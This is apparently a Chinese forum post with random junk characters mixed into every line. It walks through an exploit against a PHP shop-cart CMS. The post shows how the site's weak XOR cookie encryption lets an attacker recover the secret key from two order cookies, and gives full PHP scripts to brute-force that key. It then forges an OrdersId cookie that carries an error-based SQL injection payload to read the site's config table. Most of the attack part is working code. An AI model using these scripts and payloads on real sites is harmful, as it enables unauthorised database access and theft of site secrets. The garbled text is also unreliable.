www.xxx.com/plus/search.php?keyword=) r8 N( Y) M( r' ]: |9 N$ V4 p
在 include/shopcar.class.php中8 [7 r" e% s! x4 ~$ z- I2 ]
先看一下这个shopcar类是如何生成cookie的
: H0 Y/ p! S+ b5 q" y239 function saveCookie($key,$value)
0 K$ j9 _' _4 L \: m( C1 \240 {9 w, I, X2 M* ~% _: s. x* ?
241 if(is_array($value)): h* ^6 O- R* Q% ]2 H9 t. Q
242 {7 `5 _/ v5 V2 l6 S( g- q
243 $value = $this->enCrypt($this->enCode($value));
+ ]6 i% W/ E+ r: M. p5 ]; u+ z# a244 }) _" ?$ H9 K2 o, O) T
245 else! P1 X k2 M4 d; D5 t9 n' }4 |
246 {8 n- N/ L8 D4 B2 v7 H
247 $value = $this->enCrypt($value);
7 r1 D& i/ S* P' h4 m; r) F" k* M248 }! F( m5 F" L o( U% M6 q8 a
249 setcookie($key,$value,time()+36000,’/');
) }6 A4 p6 ^' w8 M8 O2 I P( V250 }8 V' n9 P2 N6 [9 h* g- a
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数" k3 _( C( F6 q
186 function enCrypt($txt)$ y- E7 ~$ c1 T
187 {; G8 @) L. v5 j j0 K
188 srand((double)microtime() * 1000000);/ @* c" C+ k6 A+ |) }
189 $encrypt_key = md5(rand(0, 32000));- O" V- g4 L/ V7 ^( [. y% N
190 $ctr = 0;
' l0 i, Q8 j5 t4 w191 $tmp = ”;
2 B2 j4 b2 [4 C7 k' L4 O/ p192 for($i = 0; $i < strlen($txt); $i++)
- W& K+ Q- p( H3 J, E193 {
; J) B' ]: y! Z% z7 q1 o- k: a194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
( U8 F: H9 K1 M) F/ }2 i195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
f. `. A% ^) J196 }
0 m7 `$ p1 f3 u197 return base64_encode($this->setKey($tmp));" ~! G$ N3 l/ I* O9 X
198 }
, V3 d7 n1 |5 W! z* i& y6 @213 function setKey($txt)
' c8 U' y& x6 E' F( i" `214 {
1 d8 _! t9 u- p- ]+ S# m215 global $cfg_cookie_encode;
8 B9 }1 j4 j$ x/ `216 $encrypt_key = md5(strtolower($cfg_cookie_encode));$ O0 D7 P4 T3 A/ l' o6 H
217 $ctr = 0;$ Z+ }* E. O4 `$ ]
218 $tmp = ”;8 i* a6 k. ^- L" w, M
219 for($i = 0; $i < strlen($txt); $i++)
1 u) c1 v. `2 z3 B* i220 {
5 |$ y. {5 N/ a221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 K0 V+ j& j5 a( d222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];/ F& i3 x# Y% G' ` Q
223 }
. r" ^0 m3 }$ A7 ^; {* D224 return $tmp;- F: r1 f Z. R8 Z5 d) c
225 } A+ U1 Q# I0 L3 {) y
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
% |9 `* P, ]/ c$ V. ?( a! t( z然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
) U/ [% @; u% S/ _具体代码如下:
0 l+ p0 [; X3 H% e; X9 y9 U<?php* r9 M. E- s$ M; f0 l
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here: b6 z: K v+ ^
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
/ a6 c7 P) H* @) N% j' i6 R$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here* n- i4 K' c/ k/ h/ |
function reStrCode($code,$string) q( F/ L! C f
{# ]0 ?: H) ^% v
$code = base64_decode($code);8 a: v L/ S, \4 N
$key = “”;4 R2 P$ E+ u, y+ A
for($i=0 ; $i<32 ; $i++)( \# U5 t5 h7 |# f) z+ `$ i
{
9 {* k5 @. h# S0 _$key .= $string[$i] ^ $code[$i];
9 g' R5 ?4 ?+ g8 @9 h}- c+ T; U* n1 j7 k, H g, o [
return $key;( W! L( L; [' G6 F8 A! ]( g
}
& X" r8 \; R2 c' Q6 Cfunction getKeys($cookie,$plantxt)3 {6 [! f- ]: q" b. e* B* C5 ?
{: ?6 d) x' w: h. J
$tmp = $cookie;2 a; R2 J, i- N: \# z
$results = array();. X* g( r8 S( P# c
for($j=0 ; $j < 32000; $j++)# Z* H3 k$ B, O7 _- }/ C" P( D
{/ K% M, t; B+ F+ w/ O. t
' _; l2 k* z7 {; n
$txt = $plantxt;! b, A; Z+ S4 ?9 F0 M7 S# w4 ~
$ctr = 0;& n( I5 a# h7 e0 k* W( k# z1 o& n0 A
$tmp = ”;
# c# S6 M! j7 T& T$encrypt_key = md5($j);2 X: W( p/ S' S1 x7 y
for($i =0; $i < strlen($txt); $i ++)
$ A+ H0 u" T8 y2 t. |: {0 O{
+ d+ I, E/ F3 G3 b$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
( L. E2 Z/ o! @2 ]8 b$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! V. ]( U. Y& O) x/ Z
}0 F4 L" E, |- R& D
$string = $tmp;$ S4 N- F2 W3 N) n, ?6 {
$code = $cookie;
& z8 w( @" ~* N$result = reStrCode($code,$string);
" u6 j0 u' m6 X4 Y; J' @if(eregi(‘^[a-z0-9]+$’,$result))7 E$ g+ W9 g' o3 `( Y3 ?
{$ O2 a) F q# v5 H ?
echo $result.”\n”;9 ?$ d+ O% G2 m; S9 {8 ~
$results[] = $result;
- Z: T/ n+ T, s! l3 C% @4 E7 x}8 E( a* C {, H4 l5 Z+ j! H- P) D
}* s3 ]0 \: v; v! b+ ~/ Z, z
return $results;
5 a) U- H" u' v+ E1 K9 A+ k}7 S" b; E+ e3 {* d
$results1 = getKeys($cookie1,$plantxt);
3 k$ C p6 \7 S9 L: M7 R$results2 = getKeys($cookie2,$plantxt);
9 Q5 t6 a- W: H j8 t3 Aprint “\n——————–real key————————–\n”;
* r* S7 @5 x4 |/ G5 U. A( I V C& w$ dforeach($results1 as $test1)1 d$ A3 V) v+ S" U4 t4 ~" x" V
{" d( N$ A4 g' {+ h, k, N- C
foreach($results2 as $test2)) B# d" B# f+ d& M& _: ?4 `
{
5 V/ ?% }# A4 j' A D" xif($test1 == $test2) J* q$ h5 z4 A) E& ]$ T+ q
{
- {, z3 D$ B6 F( V2 I$ ]0 \echo $test1.”\n”;
$ {- ^: a* b% w+ F2 a}
& W# T( P3 a% M% p8 Q; x- c3 S}+ L# N" U( [* p4 c
}2 H; ^0 V3 ~# t6 R4 ~
?>
7 A9 g% T& W: Bcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
. Q, P Q1 `; p2 v" Oplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua10 R: F9 s- y5 _" | B5 x
然后推算出md5(strtolower($cfg_cookie_encode))
- M. n. x2 s6 X R" x5 g得到这个key之后,我们就可以构造任意购物车的cookie
/ |* [* x" n0 X0 ?' F接着看( w9 i! Q4 a# X
20 class MemberShops
- \) P6 N, a) t" {9 M, w21 {8 k; N+ I+ M: ~; z
22 var $OrdersId;3 W% L2 U# X4 ^9 c
23 var $productsId;
: l) N3 Z0 p) p5 r, y/ Q; S) v24$ b, Y* E+ l% |
25 function __construct()4 L- A8 u" e, [+ L, z6 A
26 {
4 b/ z3 a" J. `0 }! A i7 l27 $this->OrdersId = $this->getCookie(“OrdersId”);
4 ]# }3 Z( S6 B# ^3 w28 if(empty($this->OrdersId))& s7 D6 L6 b: v! V* q6 l
29 {; v- m' I( A5 C( j# `
30 $this->OrdersId = $this->MakeOrders();
% S- ?4 z& ?$ F9 Q" a8 ^31 }
, c U# ^; {% N/ G/ _0 q32 }; P3 G7 c* I7 V2 b5 o/ @3 A2 k
发现OrderId是从cookie里面获取的) l" x; h7 l0 S" K- P6 W
然后
: g+ Z9 R9 s) I. B1 R& `/plus/carbuyaction.php中的- D0 b( {/ y6 t( e. R
29 $cart = new MemberShops();5 m5 E& F- n, Z( q) w
39 $OrdersId = $cart->OrdersId; //本次记录的订单号- V4 ?1 y @' w9 p/ Y- M
……, I f* o, I" K; |3 c
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
* a; d# {" p+ X" z; g6 w接着我们就可以注入了
( I) O) O9 e T/ s通过利用下面代码生成cookie:
1 S/ t& s2 m5 b4 k; ~! V1 y<?php8 N5 ^" R% N/ W
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
4 u. a; ^9 i- N2 D/ c% ~" Q$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
! \3 P$ ]6 Z: n; Ifunction setKey($txt)# {# Q+ @+ C/ j
{ `# p- t, M: X. M
global $encrypt_key;
+ C6 y: F" N* M) q5 |: m1 y$ctr = 0;
. P7 u. c+ L/ h; M( O4 z8 y& i$tmp = ”;
% n; t* a3 ]; c# Jfor($i = 0; $i < strlen($txt); $i++)
/ s+ Y5 I# W/ |8 p{; u' i e. b5 ]& \; k7 j4 _9 I* |1 D% h8 j
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" x- h5 x& g; S i5 d4 q0 b; p9 D$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
( @. f _+ [9 w# ^& U% p( A" T/ z0 e ?}
# x7 j8 M w( q. I7 E" [return $tmp;
2 y! n9 e# z# C6 g7 Z( A1 t}
( C: h/ V/ I. h- Gfunction enCrypt($txt)0 h% q9 t2 z7 G6 y9 B0 G6 o1 k# j; L
{
9 ]# }; c% s* \# ~srand((double)microtime() * 1000000);
% [4 R! _2 n; C7 |/ n! H2 G9 T& n$encrypt_key = md5(rand(0, 32000));
! M! i) b( G6 D* _2 @$ctr = 0;
% Q# L: D) U) `# c+ V$tmp = ”;
) X" a K/ s# _+ D O& B7 yfor($i = 0; $i < strlen($txt); $i++)
# Z I# r' T8 u) s2 x8 s- z8 }{' y: Q9 X' e5 O( E! Y# P
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 Y$ L2 g( e+ J$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);* ?. c( E- L7 Z% \3 [9 k. a F
}
7 Q. A* A7 n4 `" s+ h2 m$ }/ [return base64_encode(setKey($tmp));
8 f: L# G0 D9 k}8 B* f6 A9 ^" z1 y3 |
for($dest =0;$dest = enCrypt($txt);)9 ^$ l' y( s9 e n: c8 F/ n7 [
{5 o- e1 i/ ~0 x- x& t8 c
if(!strpos($dest,’+'))
0 B- Q, P/ k- m! ]- x! @/ Z{! W6 t, j" t. \! y7 q8 G, Y
break;# L( F. ?2 v% x: Q/ H) @* L
}) F- Y5 ^; c; r* x' V
}
: F7 O( \/ B, a& @5 P% y( ]echo $dest.”\n”;& G1 r0 B9 d$ c, Q! x
?>0 g4 G5 J8 J [1 ]" E6 {, F
% V* T' G, A, n1 W: E: q |